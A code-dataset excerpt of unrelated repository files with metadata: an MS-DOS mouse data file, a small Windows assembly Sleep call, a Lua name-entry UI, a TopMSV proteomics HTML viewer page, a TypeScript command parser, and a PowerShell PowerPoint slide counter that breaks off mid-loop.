] | null | null | null | 45/beef/cw/kernel/mousedat.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | ;*
;* COW : Character Oriented Windows
;*
;* mousedat.asm : data for mouse input control
include kernel.inc
;----------------------------------------------------------------------------
sBegin DATA
assumes DS,DGROUP
ayNil EQU 253 ;* see user\screen.inc
globalB ayMouse,ayNil
sEnd DATA
;----------------------------------------------------------------------------
sBegin BSS
assumes DS,DGROUP
;* PUBLIC
globalB fMousePresent,0 ;* TRUE => mouse present
;* PRIVATE
globalB axMouse,0
globalW sstMouse,0
globalB fMouseOn,0 ;* TRUE => mouse on
IFDEF MOUSE_SWAP
globalB fSwapButton,0 ;* TRUE => reverse buttons
ENDIF ;MOUSE_SWAP
sEnd BSS
;----------------------------------------------------------------------------
END
| 17.857143 | 77 | 0.488 |
f83e9fd41ca9877b4193549824914895b50d9ab5 | 135 | asm | Assembly | Windows/sleep.asm | Gabriel-Lima232/Assembly | 6c7168f83844658431033de395c7cc0079f32e54 | [
"MIT"
] | null | null | null | Windows/sleep.asm | Gabriel-Lima232/Assembly | 6c7168f83844658431033de395c7cc0079f32e54 | [
"MIT"
] | null | null | null | Windows/sleep.asm | Gabriel-Lima232/Assembly | 6c7168f83844658431033de395c7cc0079f32e54 | [
"MIT"
] | null | null | null | global _main
section .text
_main:
xor eax, eax
mov eax, 9000
push eax
mov ebx, 0x754d9010
call ebx
| 12.272727 | 24 | 0.562963 |
c6ffd8f7779264c9263a34026969ec9964c39869 | 618 | lua | Lua | lua/hall/view/personal/NameUI.lua | zfiona/client | f24df441cebea86474f300ce85210810c85cf5b4 | [
"Apache-2.0"
] | null | null | null | lua/hall/view/personal/NameUI.lua | zfiona/client | f24df441cebea86474f300ce85210810c85cf5b4 | [
"Apache-2.0"
] | null | null | null | lua/hall/view/personal/NameUI.lua | zfiona/client | f24df441cebea86474f300ce85210810c85cf5b4 | [
"Apache-2.0"
] | null | null | null | local NameUI = class("NameUI", BaseUI)
function NameUI:ctor()
self:load(UriConst.ui_name, UIType.PopUp, UIAnim.DownToUp)
end
--call every show
function NameUI:Refresh()
self.input_name.text = ""
end
function NameUI:onClick(go, name)
if name == "btn_ok" then
local name = self.input_name.text
if string.match(name,"[_%w]+") ~= name then
self.input_name.text = ""
App.Notice(AppMsg.DialogShow,"Illegal Character!")
return
end
App.RetrieveProxy("HallProxy"):NameChangeReq(name)
else
self:closePage()
end
end
return NameUI | 24.72 | 62 | 0.63754 |
56aa3a5678e5849a824f1a6a87274143cf69e0ec | 14,568 | html | HTML | toppic_resources/topmsv/visual/prsm.html | toppic-suite/toppic-suite | b5f0851f437dde053ddc646f45f9f592c16503ec | [
"Apache-2.0"
] | 8 | 2018-05-23T14:37:31.000Z | 2022-02-04T23:48:38.000Z | toppic_resources/topmsv/visual/prsm.html | toppic-suite/toppic-suite | b5f0851f437dde053ddc646f45f9f592c16503ec | [
"Apache-2.0"
] | 9 | 2019-08-31T08:17:45.000Z | 2022-02-11T20:58:06.000Z | toppic_resources/topmsv/visual/prsm.html | toppic-suite/toppic-suite | b5f0851f437dde053ddc646f45f9f592c16503ec | [
"Apache-2.0"
] | 4 | 2018-04-25T01:39:38.000Z | 2020-05-20T19:25:07.000Z | <!DOCTYPE html>
<html>
<head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Protein-Spectrum-Match for Spectrum</title>
<link rel="stylesheet" type="text/css"
href="../node_modules/@fortawesome/fontawesome-free/css/all.css">
<link rel="stylesheet" type="text/css"
href="../node_modules/datatables.net-dt/css/jquery.dataTables.css">
<link rel="stylesheet" type="text/css"
href="../node_modules/bootstrap/dist/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css"
href="../common/topmsv_nav_bar/css/topmsv_nav_bar.css"/>
<link rel="stylesheet" type="text/css"
href="../common/shared/css/common.css"/>
<link rel="stylesheet" type="text/css" href="css/prsm.css">
<script src="../node_modules/popper.js/dist/umd/popper.js"></script>
<script src="../node_modules/jquery/dist/jquery.js"></script>
<script src="../node_modules/bootstrap/dist/js/bootstrap.min.js"></script>
<script src="../node_modules/jquery-ui-dist/jquery-ui.min.js"></script>
<script src="../node_modules/d3/dist/d3.js"></script>
<script src="../node_modules/canvas-toBlob/canvas-toBlob.js"></script>
<script src="../node_modules/datatables.net/js/jquery.dataTables.js"></script>
<script src="../node_modules/file-saver/dist/FileSaver.js"></script>
<!--save image-->
<script src="../common/save_image/save_image.js"></script>
<!--draw nav bar-->
<script src="../common/topmsv_nav_bar/js/topmsv_nav_bar.js"></script>
<script src="../common/spectrum_graph/spectrum_parameter.js"></script>
<script src="../common/spectrum_graph/spectrum_graph.js"></script>
<script src="../common/spectrum_graph/draw_spectrum.js"></script>
<script src="../common/spectrum_graph/spectrum_data.js"></script>
<!--library for downloading graphs-->
<script src="../common/save_image/save_spectrum.js"></script>
<script src="../common/save_image/save_prsm.js"></script>
<script src="../common/save_image/util.js"></script>
<script src="../common/proteoform/protein_constant.js"></script>
<script src="../common/proteoform/proteoform.js"></script>
<script src="../common/prsm_graph/prsm_data.js"></script>
<script src="../common/prsm_graph/prsm_para.js"></script>
<script src="../common/prsm_graph/draw_prsm.js"></script>
<script src="../common/prsm_graph/prsm_graph.js"></script>
<script src="js/prsm/prsm_to_html.js"></script>
<script src="js/prsm/load_spectra.js"></script>
<script src="js/prsm/button_action.js"></script>
<script src="js/prsm/inspect.js"></script>
<script>
var ms1Graph;
var ms2SpecList = [];
var ms2GraphList = [];
var ms2MonoGraphList = [];
var ms2PopupGraph;
var prsmGraph;
var popupPrsmGraph;
/**
* This function waits till all the HTML tags are loaded.
* Invokes functions to loads the complete prsm page and visualization
*/
$(document).ready(function(){
var x = location.href;
let l_split = x.split(/[?#]+/)[1];
let path_and_value = l_split.split("&");
let folder_path = path_and_value[0].split("=")[1];
// get the prsm Id number by splitting url with "?" and "="
let prsm_seq_num = path_and_value[1].split("=")[1];
let prsm_data_script= document.createElement('script');
// get the prsm Id number by splitting url with "?","=","#"
let prsm_data_file_name = "../data/"+folder_path+"/prsms/prsm" + prsm_seq_num+".js";
prsm_data_script.type= 'text/javascript';
prsm_data_script.src= prsm_data_file_name;
// Add data file to the script tag in the html
let head= document.getElementsByTagName('head')[0];
head.appendChild(prsm_data_script);
// Wait till the data is losded before calling any functions
prsm_data_script.onload = function () {
// Loading prsm.js after data is loaded to fix no data issue in Data table
let prsm_script = document.createElement('script');
prsm_script.type= 'text/javascript';
prsm_script.src = "js/prsm/prsm.js" ;
// Append scrip tags to the head tag
head.appendChild(prsm_script);
// Build Urls to naviga back to proteoform page, proteins page and all protein page
BuildUrl(folder_path);
// Get the information of the PRSM to the HTML
loadDatafromJson2Html();
// Detting prsm data from prsm_data variable. prsm_data is a global variable from the prsm data file
let prsm = prsm_data.prsm ;
// SVG Id for the visualization
let prsmSvgId = "prsm_svg" ;
prsmGraph = new PrsmGraph(prsmSvgId, prsm_data.prsm);
prsmGraph.redraw();
// add prsm graph to popup
let savePrsmObj = new SavePrsm(prsmGraph);
savePrsmObj.main();
// Get occurence ptms in prsmtohtml.js
occurence_ptm(prsm_data.prsm);
// Get Unknown Ptms to show in the html in prsmtohtml.js
getUnknownPtms(prsm_data.prsm);
// Create peaks data into table content
createTableElements();
// Calling function with actions on click of buttons
addButtonActions();
// Get all the scanIds
let scanIds = prsm_data.prsm.ms.ms_header.scans.split(" ");
// Get all the SpecIds
let specIds = prsm_data.prsm.ms.ms_header.ids.split(" ");
// Add Buttong with dropdowns with Scan numbers to navigae to inspect page
setDropDownItemsForInspectButton(scanIds,specIds);
// Add all the data and set local storage variables
onClickToInspect();
// Using spectrum graph library
// Get Ms1 Id to draw MS1 Spectrum
let ms1SpecId = prsm_data.prsm.ms.ms_header.ms1_ids.split(" ")[0];
// loadSpectra.js
let ms1Filename = "../../topfd/ms1_json/spectrum"+ms1SpecId+".js";
ms1Graph = loadMsOne(ms1Filename, "ms1_svg");
// Get Ms2 ids to draw MS2 Spectrum
let ms2SpecIdList = prsm_data.prsm.ms.ms_header.ids.split(" ");
let ms2FileList = [];
for (let i = 0; i < ms2SpecIdList.length; i++) {
let ms2Filename = "../../topfd/ms2_json/spectrum"+ms2SpecIdList[i]+".js";
ms2FileList.push(ms2Filename);
}
[ms2SpecList, ms2GraphList, ms2MonoGraphList]
= loadMsTwo(ms2SpecIdList, ms2FileList, prsmGraph.data.proteoform,
"ms2_svg_div", "ms2_graph_nav");
//getMonoMassDataList(ms2ScanIdList);
}
})
</script>
</head>
<body>
<div id="nav-bar"></div>
<div class="container bodycontainer">
<p style="font-size:15px;">
<a id = "allprotein_url" href="proteins.html">All proteins</a> /
<a id = "protien_url" href = "#"></a> /
<a id = "proteoform_url" href="#"></a>
</p>
<div class="row">
<div class="col-10">
<h2 id = "Protein-Spectrum-Match-Id-SpecId" ></h2>
</div>
<div class="col-2" align = "right">
<div class="dropdown dropdownscanlist">
<button type="button"
class="btn btn-primary btn-sm dropdown-toggle"
data-toggle="dropdown"
id="scanList">
Inspect
</button>
<div class="dropdown-menu">
</div>
</div>
</div>
</div>
<div class="row filename">
<p>File name: <span id='File_name'></span></p>
</div>
<div class="row">
<table id = "_width_table" class="table table-borderless" style="font-size:15px">
<tr>
<td>PrSM ID:</td>
<td id = "PrSM_ID"></td>
<td>Scan(s):</td>
<td id = "Scan"></td>
<td>Precursor charge:</td>
<td id = "Precursor_charge"></td>
</tr>
<tr>
<td>Precursor m/z:</td>
<td><a id = "precursor_mz" data-toggle="modal"
data-target="#ms1_graph_popup_window"></a></td>
<td>Precursor mass:</td>
<td id = "Precursor_mass"></td>
<td>Proteoform mass:</td>
<td id = "Proteoform_mass"></td>
</tr>
<tr>
<td># matched peaks:</td>
<td id = "matched_peaks">28</td>
<td># matched fragment ions:</td>
<td id = "matched_fragment_ions">25</td>
<td># unexpected modifications:</td>
<td id = "unexpected_modifications">#</td>
</tr>
<tr>
<td>E-value:</td>
<td id = "E_value">1.63e-021</td>
<td>Spectral Q-value:</td>
<td id = "Q_value">0</td>
</tr>
</table>
</div>
<div id="alignment">
<svg id = "prsm_svg" ></svg>
<table>
<tr>
<td width = "85%">
<div id="ptm_abbreviation" style="font-size:16px;">
<!-- Data will be retrieved form Fixed_PTM() -->
</div>
<td>
<td width = "15%" align = "right">
<button id = "save_prsm_btn" class="btn btn-primary btn-sm"
data-toggle="modal"
data-target="#save_prsm_popup_window"
style="width:80%" >
Save PrSM
</button>
</td>
</tr>
<tr>
<td>
<div id="ptm_unexpectedmodification" style="display: none; font-size:16px;">
<!-- Data will be retrieved form Fixed_PTM() -->
</div>
<td>
</tr>
</table>
</div>
<div class="row" id="ms2_svg_div" style="display:none;">
<ul class="nav nav-tabs graph_nav" id="ms2_graph_nav"></ul>
<div class="text-center" id="dataLoading">
<div class="spinner-border " role="status">
<span class="sr-only">Loading...</span>
</div><h3> Loading...</h3>
</div>
</div>
<div>
<table>
<tr>
<td width = "55%">
<div class = "peaks" style="font-size:16px;">
<a id = "all_peak_count" href="#spectrum"
onclick="showAllPeaks();" >All peaks </a>
<a id = "matched_peak_count" href="#spectrum"
onclick="showMatchedPeaks();">Matched peaks </a>
<a id = "not_matched_peak_count" href="#spectrum"
onclick="showNotMatchedPeaks();">Not matched peaks </a>
</div>
<td>
<td width = "15%" align = "right">
<a id = "a_spectrum_help" href="#!">
<button type ="button" id = "ms2_graph_help_btn"
class="btn btn-primary btn-sm"
style = "display:none;width:80%"
data-toggle="modal"
data-target="#ms2_graph_help_popup_window">
Help</button>
</a>
</td>
<td width = "15%" align = "right">
<div class="prsmgraphdownload">
<button type="button" class="btn btn-primary btn-sm"
data-toggle="modal"
data-target="#ms2_graph_popup_window"
id="ms2_graph_save_btn"
style="display:none">
Save Spectrum
</button>
</div>
</td>
<td width = "15%" align = "right">
<a id = "a_show_spectrum" href="#!"><button type ="button" id =
"ms2_graph_show_btn" class="btn btn-primary btn-sm" style="width:80%">Show Spectrum</button></a>
</td>
</tr>
</table>
</div>
<div class = "row">
<table id="spectrum" class="display" >
<thead>
<tr role="row">
<th width="25">Scan</th>
<th width="25">Peak</th>
<th width="90">Mono mass</th>
<th width="90">Mono m/z</th>
<th width="80" style="vertical-align:middle">Intensity</th>
<th width="75" style="vertical-align:middle">Charge</th>
<th width="103">Theoretical mass</th>
<th width="50" style="vertical-align:middle">Ion</th>
<th width="70" style="vertical-align:middle">Pos</th>
<th width="95">Mass error</th>
<th width="80">PPM error</th>
</tr>
</thead>
</table>
</div>
<div class = "row">
<p style="font-size:15px;">
<a id = "allprotein_url_end" href="proteins.html">All proteins</a> /
<a id = "protien_url_end" href = ""></a> /
<a id= "proteoform_url_end" href=""></a>
</p>
</div>
</div>
<div class="modal" id="ms1_graph_popup_window" role="dialog">
<div class="modal-dialog modal-sm" role="document">
<div class="modal-content">
<div class="modal-header ">
<h4 class="modal-title">MS1 Spectrum</h4>
<button type="button" class="close" data-dismiss="modal">×</button>
</div>
<div class="modal-body">
<svg id="ms1_svg" style="background-color:#F8F8F8" ></svg>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary btn-sm custom " id =
"download_ms1_png_btn" ><i class="fas fa-download"></i><span> PNG</span></button>
<button type="button" class="btn btn-primary btn-sm custom " id =
"download_ms1_svg_btn" ><i class="fas fa-download"></i><span> SVG</span></button>
</div>
</div>
</div>
</div>
<div class="modal" id="ms2_graph_help_popup_window" role="dialog">
<div class="modal-dialog modal-sm" role="document">
<div class="modal-content help-window">
<div class="modal-header ">
<h3>Help</h3>
<button type="button" class="close" data-dismiss="modal">×</button>
</div>
<div class="modal-body">
<ul>
<li><b>Drag:</b> Press the left mouse button and drag.</li>
<li><b>Zoom in/out of the m/z value:</b> Place the mouse cursor below the
x-axis and use the mouse wheel to zoom in or out. </li>
<li><b>Zoom in/out of the intensity:</b> Place the mouse cursor above the
x-axis and use the mouse wheel to zoom in or out. </li>
</ul>
</div>
</div>
</div>
</div>
<footer class="page-footer font-small blue">
<div class="footer-copyright text-center py-3">© 2019 Copyright: The Trustees of
<a href="https://www.iu.edu/" target="#">Indiana University</a>
</div>
</footer>
</body>
</html>
| 39.266846 | 112 | 0.568163 |
16a91223eeabea066b288713d5c083a6800d96b9 | 19,555 | ts | TypeScript | src/parser.ts | debugworkbench/workbench-command-parser | ae4dde39fd0304764a105a380fa0503b07e6411b | [
"MIT"
] | null | null | null | src/parser.ts | debugworkbench/workbench-command-parser | ae4dde39fd0304764a105a380fa0503b07e6411b | [
"MIT"
] | 1 | 2016-04-25T16:56:22.000Z | 2016-04-25T16:56:22.000Z | src/parser.ts | debugworkbench/workbench-command-parser | ae4dde39fd0304764a105a380fa0503b07e6411b | [
"MIT"
] | null | null | null | import { tokenize, CommandToken, TokenType } from './tokenizer';
export class CommandParser {
private currentNode: ParserNode;
// These are temporarily public pending a better idea.
public nodes: ParserNode[] = [];
public tokens: CommandToken[] = [];
private commands: CommandNode[] = [];
private parameters: Map<string, any> = new Map();
constructor (initialNode: RootNode) {
this.currentNode = initialNode;
}
/**
* Called when a [[CommandNode]] has been accepted.
*
* @private
*/
pushCommand (command: CommandNode): void {
this.commands.push(command);
}
/**
* @private
*/
nodeSeen (node: ParserNode): boolean {
return this.nodes.indexOf(node) >= 0;
}
/**
* @private
*/
pushNode (token: CommandToken, node: ParserNode): void {
this.currentNode = node;
this.nodes.push(node);
this.tokens.push(token);
}
getParameter (name: string, defaultValue?: any): any {
return this.parameters.get(name) || defaultValue;
}
/**
* Called when a [[ParameterNode]] has been accepted.
*
* @private
*/
pushParameter (param: ParameterNode, value: any): any {
if (param.repeatable) {
const list = this.parameters.get(param.name) || [];
list.push(value);
this.parameters.set(param.name, list);
} else {
this.parameters.set(param.name, value);
}
return value;
}
/**
* Perform completion on the current parser state.
*/
complete (token?: CommandToken): Completion[] {
const completions = this.currentNode.possibleCompletions(this, token);
return completions.map((node: ParserNode): Completion => {
return node.complete(this, token);
});
}
/**
* Parse the given token sequence.
*
* Iterates over tokens and performs our regular phrase parse.
*/
parse (tokens: CommandToken[]): void {
tokens.forEach(token => {
if (token.tokenType !== TokenType.Whitespace) {
this.advance(token);
}
});
}
/**
* Advance the parser by one step.
*/
advance (token: CommandToken): void {
const possibleMatches = this.currentNode.matchingSuccessors(this, token);
// Deal with command priorities.
if (possibleMatches.length === 1) {
const matchingNode = possibleMatches[0];
matchingNode.accept(this, token);
this.pushNode(token, matchingNode);
} else if (possibleMatches.length === 0) {
throw(new Error('At node ' + this.currentNode + ': No matches for "' + token.text + '"'));
} else {
throw(new Error('At node ' + this.currentNode + ': Ambiguous match: ' + possibleMatches));
}
}
/**
* Execute the parsed command.
*
* This will call the OUTERMOST handler.
*
* XXX: We should expose a next-handler somehow so that we can
* have wrapper commands like "with-log $logfile $command".
*/
execute (): void {
if (this.commands.length > 0) {
const command = this.commands[0];
command.execute(this);
} else {
throw(new Error("No command."));
}
}
/**
* Verify the parsed command.
*/
verify (errorAccumulator: Array<string>): boolean {
if (this.commands.length > 0) {
const command = this.commands[0];
const expected = command.parameters;
const provided = this.parameters;
expected.forEach(parameter => {
if (parameter.required) {
if (false === provided.has(parameter.name)) {
errorAccumulator.push('Missing required parameter "' + parameter.name + '".');
return false;
}
}
});
} else {
errorAccumulator.push('Incomplete command.');
return false;
}
return true;
}
}
export class NodePriority {
static Minimum: number = -10000;
static Parameter: number = -10;
static Default: number = 0;
}
/**
* Represents the result of completing a node,
* possibly hinted by a pre-existing token.
*/
export class Completion {
/** Node the completion was performed for. */
node: ParserNode;
/** Value placeholder for help. */
helpSymbol: string;
/** Main help text. */
helpText: string;
/** Token used to hint the completion, if provided. */
token: CommandToken;
/** Was this completion exhaustive? If yes, then only the
given completion options are valid. */
exhaustive: boolean = false;
/** Actual completion options. */
options: CompletionOption[];
constructor (node: ParserNode, token: CommandToken, options: CompletionConfig) {
this.node = node;
this.token = token;
// Get node help strings.
this.helpSymbol = node.helpSymbol();
this.helpText = node.helpText();
if (options.exhaustive === undefined) {
this.exhaustive = options.exhaustive;
} else {
this.exhaustive = false;
}
let completeOptions = options.completeOptions || [];
let otherOptions = options.otherOptions || [];
// Apply token restrictions.
if (token) {
// Filter options using token.
completeOptions = completeOptions.filter((option): boolean => {
return option.startsWith(token.text);
});
otherOptions = otherOptions.filter((option): boolean => {
return option.startsWith(token.text);
});
if (!this.exhaustive) {
// If not exhaustive, then add the current token as an incomplete option.
if ((completeOptions.indexOf(token.text) === -1) &&
(otherOptions.indexOf(token.text) === -1)) {
otherOptions.push(token.text);
}
}
}
// Add longest common prefix as an incomplete option, but
// filter it against the existing options and the token.
const allOptions = completeOptions.concat(otherOptions);
const lcp = longestCommonPrefix(allOptions);
if (lcp && allOptions.indexOf(lcp) === -1) {
if (!token || (lcp !== token.text)) {
otherOptions.push(lcp);
}
}
this.options = completeOptions.map((optionString): CompletionOption => {
return new CompletionOption(this, optionString, true);
}).concat(otherOptions.map((optionString): CompletionOption => {
return new CompletionOption(this, optionString, false);
}));
}
}
/**
* Represents a single option returned by completion.
*
* An option may be COMPLETE, which means that it represents
* a syntactically complete parameter value which can be
* used as-is, whereas INCOMPLETE options are not valid values.
*/
export class CompletionOption {
/** Initialized by [[Completion.constructor]]. */
completion: Completion;
/** String for this option. */
optionString: string;
/** True if this option is COMPLETE. */
complete: boolean = false;
constructor (completion: Completion, optionString: string, complete: boolean) {
this.completion = completion;
this.optionString = optionString;
this.complete = complete;
}
}
export interface CompletionConfig {
exhaustive: boolean;
completeOptions?: string[];
otherOptions?: string[];
}
export function longestCommonPrefix(options: string[]): string {
if (options.length > 0) {
for (let i = 0; ; i++) {
const first = options[0];
for (let j = 0; j < options.length; j++) {
const option = options[j];
if ((i === option.length) || (option[i] !== first[i])) {
return first.slice(0, i);
}
}
}
} else {
return "";
}
}
/**
* Grammar node for the CLI
*
* These form a digraph with circles through their SUCCESSORS
* field. Cycles can only occur through nodes that are REPEATABLE,
* so the graph can be treated like a DAG when
* [[RepeatableNode|repeatable nodes]] are ignored or visited only once.
*
* Each [[ParserNode|node]] represents one [[CommandToken|command token]].
*
* Important operations:
*
* * Matching allows the parser to check if a given node is
* a valid partial or complete word for this node.
*
* * Completion allows the parser to generate possible
* words for a node. The parser may provide a partial token
* to limit and direct completion.
*
* * Accepting happens when the parser accepts a token for
* a node. During this, parameters add their values and
* commands install their handlers.
*/
export abstract class ParserNode {
/** Possible successor nodes (collected while building). */
protected successors_: ParserNode[] = [];
/** Match and completion priority. */
readonly priority: number;
/** Hidden nodes are not completed. */
readonly hidden: boolean;
constructor (config: SymbolNodeConfig) {
this.priority = config.priority || NodePriority.Default;
this.hidden = config.hidden || false;
}
public get successors (): ParserNode[] {
return this.successors_;
}
public helpSymbol (): string {
return "<...>";
}
public helpText (): string {
return "No help.";
}
/**
* @private
*/
toString (): string {
return '[ParserNode]';
}
/**
* Generate completions for the given node
*
* May or may not be provided a partial token.
*/
complete (parser: CommandParser, token?: CommandToken): Completion {
return new Completion(this, token, { exhaustive: true });
}
/**
* Check if the given token matches this node partially or completely
*/
match (parser: CommandParser, token: CommandToken): boolean {
return false;
}
/**
* Accept the given node with the given token as data
*
* This is where parameters do conversion and command handlers are added.
*/
accept (parser: CommandParser, token: CommandToken): void {
// Nothing to do.
}
/**
* Is the node acceptable as next node in given parser state?
*
* This prevents non-repeatable parameters from being added again.
*
* Note how we also check for the repeat-marker of the node for
* cases where another node can preclude our occurrence.
*/
acceptable (parser: CommandParser): boolean {
return false === parser.nodeSeen(this);
}
/**
* Called by the parser to get possible completions so
* that the parser needn't have access to the internal
* state of the node.
*/
possibleCompletions (parser: CommandParser, token?: CommandToken): ParserNode[] {
// Filter out hidden nodes, non-acceptable nodes and, if there is a token,
// filter with that as well.
return this.successors.filter(node => {
return !node.hidden && node.acceptable(parser) && (!token || node.match(parser, token));
});
}
matchingSuccessors (parser: CommandParser, token: CommandToken): ParserNode[] {
return this.successors.filter(node => {
return node.acceptable(parser) && node.match(parser, token);
});
}
addSuccessor (node: ParserNode): void {
this.successors_.push(node);
}
}
/**
* Root of a command hierarchy.
*
* May not be completed or matched.
*/
export class RootNode extends ParserNode {
constructor () {
super({'name': '__root__'});
}
/**
* @private
*/
toString (): string {
return '[RootNode]';
}
complete (parser: CommandParser, token: CommandToken | boolean): Completion {
throw(new Error("BUG: Tried to complete a root node."));
}
match (parser: CommandParser, token: CommandToken): boolean {
throw(new Error("BUG: Tried to match a root node."));
}
}
/**
* A fixed string.
*
* Used to build commands and parameter prefixes.
*/
export class SymbolNode extends ParserNode {
readonly symbol: string;
constructor (config: SymbolNodeConfig) {
super(config);
this.symbol = config.name;
}
/**
* @private
*/
toString (): string {
return '[SymbolNode: ' + this.symbol + ']';
}
public helpSymbol (): string {
return this.symbol;
}
public helpText (): string {
return "";
}
complete (parser: CommandParser, token?: CommandToken): Completion {
return new Completion(this, token, {
exhaustive: true,
completeOptions: [this.symbol]
});
}
match (parse: CommandParser, token: CommandToken): boolean {
return this.symbol.startsWith(token.text);
}
}
export interface ParserNodeConfig {
/** Hidden nodes are not included in completion. */
hidden?: boolean;
/** Match and completion priority. */
priority?: number;
}
export interface SymbolNodeConfig extends ParserNodeConfig {
/** The name of the node. It should be a single word. */
name: string;
}
export interface CommandNodeConfig extends SymbolNodeConfig {
/** Help source for the command. */
help?: string;
/** Handler function. Executed when the command is executed. */
handler: Function;
/** The type of the command node to create. Defaults to [[CommandNode]]. */
nodeConstructor?: typeof CommandNode;
/** The configuration for the parameters to this command. */
parameters?: Array<ParameterNodeConfig>;
}
export interface RepeatableNodeConfig extends SymbolNodeConfig {
/** Repeatable nodes may re-appear. */
repeatable?: boolean;
/** Don't repeat if this node is already present. This is
* typically used internally within the system. */
repeatMarker?: ParserNode;
}
/** @private */
export interface ParameterNameNodeConfig extends RepeatableNodeConfig {
parameter: ParameterNode;
}
export interface ParameterNodeConfig extends RepeatableNodeConfig {
aliases?: Array<string>;
/** @private */
command?: CommandNode;
help?: string;
kind?: ParameterKind;
/** The type of the command node to create. Defaults to [[StringParameterNode]]. */
nodeConstructor?: typeof ParameterNode;
required?: boolean;
}
export interface WrapperNodeConfig extends CommandNodeConfig {
wrappedRoot: ParserNode;
}
/**
* Commands are symbols with a handler and parameter requirements.
*/
export class CommandNode extends SymbolNode {
/** Help source for the command. */
private help: string;
/** Handler function. */
private handler: Function;
/** Parameters (collected while building). */
private parameters_: ParameterNode[] = [];
public get parameters (): ParameterNode[] {
return this.parameters_;
}
constructor (config: CommandNodeConfig) {
super(config);
this.help = config.help || "No help.";
this.handler = config.handler;
}
getParameterNode (name: string): ParameterNode {
return this.parameters.find((p) => p.name === name);
}
public helpText (): string {
return this.help;
}
/**
* @private
*/
toString (): string {
return '[Command: ' + this.symbol + ']';
}
accept (parser: CommandParser, token: CommandToken): void {
if (this.handler) {
parser.pushCommand(this);
}
}
complete (parser: CommandParser, token?: CommandToken): Completion {
return new Completion(this, token, {
exhaustive: true,
completeOptions: [this.symbol]
});
}
/**
* @private
*/
addParameter (parameter: ParameterNode): void {
this.parameters_.push(parameter);
}
/**
* @private
*/
execute (parser: CommandParser): void {
this.handler(parser);
}
}
/**
* Wrappers allow wrapping another command
*
* This is used for the "help" command so it can complete normal commands.
*
* They will have the successors of the given ROOT.
*
*/
export class WrapperNode extends CommandNode {
private root: ParserNode;
constructor (config: WrapperNodeConfig) {
super(config);
this.root = config.wrappedRoot;
}
public get successors (): ParserNode[] {
return this.root.successors;
}
/**
* @private
*/
toString (): string {
return '[Wrapper: ' + this.symbol + ']';
}
}
/**
* A node that can be repeated. This is used by
* [[ParameterNameNode]] and [[ParameterNode]] which
* can optionally be present multiple times for a command.
*
* If [[RepeatableNode.repeatable|repeatable]] is true, then
* the node can be [[ParserNode.accept|accepted]] multiple times.
*
* If a [[RepeatableNode.repeatMarker|repeatMarker]] is specified,
* then once this marker node has been accepted, this node will
* no longer be acceptable.
*/
export class RepeatableNode extends SymbolNode {
readonly repeatable: boolean = false;
readonly repeatMarker: ParserNode;
constructor (config: RepeatableNodeConfig) {
super(config);
this.repeatable = config.repeatable;
this.repeatMarker = config.repeatMarker;
}
/**
* Is the node acceptable as the next node in the given parser state?
*
* This prevents non-repeatable parameters from being added again.
*
* Note how we also check for the repeatMarker of the node for cases
* where another node can preclude our occurrence.
*/
acceptable (parser: CommandParser): boolean {
if (this.repeatable) {
return true;
} else {
// If we haven't been seen, but we have a repeat marker,
// and that marker hasn't been seen, then we're acceptable.
return !parser.nodeSeen(this) &&
((this.repeatMarker === undefined) ||
(!parser.nodeSeen(this.repeatMarker)));
}
}
}
export class ParameterNameNode extends RepeatableNode {
private parameter: ParameterNode;
constructor (config: ParameterNameNodeConfig) {
super(config);
this.parameter = config.parameter;
}
public helpSymbol (): string {
return this.symbol + " " + this.parameter.helpSymbol();
}
public helpText (): string {
return this.parameter.helpText();
}
/**
* @private
*/
toString (): string {
return '[ParameterNameNode: ' + this.symbol + ']';
}
}
/**
* Syntactical kinds of parameters.
*/
export type ParameterKind = 'flag' | 'named' | 'simple';
/**
* A captured parameter.
*/
export class ParameterNode extends RepeatableNode {
private command: CommandNode;
readonly help: string;
readonly kind: ParameterKind;
readonly required: boolean;
constructor (config: ParameterNodeConfig) {
super(config);
this.command = config.command;
this.help = config.help;
this.kind = config.kind;
this.required = config.required || false;
}
public get name (): string {
return this.symbol;
}
/**
* @private
*/
toString (): string {
return '[ParameterNode: (' + this.kind + ') ' + this.symbol + ']';
}
/**
* Parameters have the successors of their command, in addition to their own.
*
* This is what allows having several parameters.
*/
public get successors (): ParserNode[] {
if (this.command) {
return this.command.successors.concat(this.successors_);
} else {
return this.successors_;
}
}
public helpSymbol (): string {
if (this.repeatable) {
return "<" + this.name + ">...";
} else {
return "<" + this.name + ">";
}
}
public helpText (): string {
return this.help || "Parameter";
}
/**
* Parameters can be converted to values.
*
* By default, they convert to simple strings.
*/
convert (parser: CommandParser, token: CommandToken): any {
return token.text;
}
/**
* Parameters match any token by default.
*/
match (parser: CommandParser, token: CommandToken): boolean {
return true;
}
/**
* Parameters complete only to themselves.
*/
complete (parser: CommandParser, token?: CommandToken): Completion {
return new Completion(this, token, { exhaustive: true });
}
/**
* Parameters get registered as such when accepted.
*/
accept (parser: CommandParser, token: CommandToken): void {
parser.pushParameter(this, this.convert(parser, token));
}
} | 26.569293 | 96 | 0.647098 |
cbaf669ed479b505ef7af3d86b4676fc22e588ab | 1,386 | ps1 | PowerShell | Powerpoint Slide Counter.ps1 | py/slidecounter | 5ce7ef86b4308f2f7401cc8a0b6865f4cb4571c8 | [
"MIT"
] | null | null | null | Powerpoint Slide Counter.ps1 | py/slidecounter | 5ce7ef86b4308f2f7401cc8a0b6865f4cb4571c8 | [
"MIT"
] | null | null | null | Powerpoint Slide Counter.ps1 | py/slidecounter | 5ce7ef86b4308f2f7401cc8a0b6865f4cb4571c8 | [
"MIT"
] | null | null | null | # PowerPoint File and Slide Counter Script
# Author: Peter Yates (pyates@gmail.com)
# Date: 2018-05-18
# Load modules
Import-Module Microsoft.PowerShell.Management
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName Office
Add-Type -AssemblyName Microsoft.Office.Interop.Powerpoint
# Recursively identify all PPT and PPTX files
$strDir = "YOUR_DIRECTORY_HERE!!!"
$colFiles = Get-ChildItem $strDir -Recurse -File -Include *.ppt*| Select-Object FullName
# Create a powerpoint instance
$Application = New-Object -ComObject PowerPoint.Application
# Cycle through file list and count number of files and total number of slides
$intPages = 0
$arraySlideCount = @()
foreach($objFile in $colFiles)
{
#$objDoc = $Application.presentations.Open($colPath + $objFile.name, 2, $false, $false)
